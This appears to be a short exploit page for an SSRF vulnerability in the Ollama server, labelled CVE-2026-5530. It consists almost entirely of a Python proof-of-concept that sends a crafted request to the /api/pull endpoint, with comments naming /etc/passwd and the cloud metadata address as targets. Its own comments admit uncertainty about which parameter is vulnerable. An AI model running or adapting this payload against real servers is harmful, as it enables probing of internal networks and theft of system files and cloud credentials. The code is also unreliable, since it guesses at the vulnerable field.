CVE-2026-5530 Ollama SSRF漏洞

import requests import json # Target Ollama server (default port 11434) target_host = "http://127.0.0.1:11434" endpoint = "/api/pull" url = target_host + endpoint # SSRF Payload: Attempting to probe internal metadata service or local filesystem # Note: The actual vulnerable parameter might be 'name' or a custom URL field depending on implementation detail in download.go # This example assumes the 'name' field can be manipulated to point to a local resource or internal URL. payload = { # In a real SSRF scenario, this might resolve to an internal IP or file scheme # Example: file:///etc/passwd or http://169.254.169.254/latest/meta-data/ "name": "http://127.0.0.1:8080", "stream": False } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending SSRF payload to {url}...") response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=10) # Check if the server processed the request (SSRF trigger) if response.status_code == 200: print("[+] Request sent successfully. Check server logs or internal network traffic for exploitation.") else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")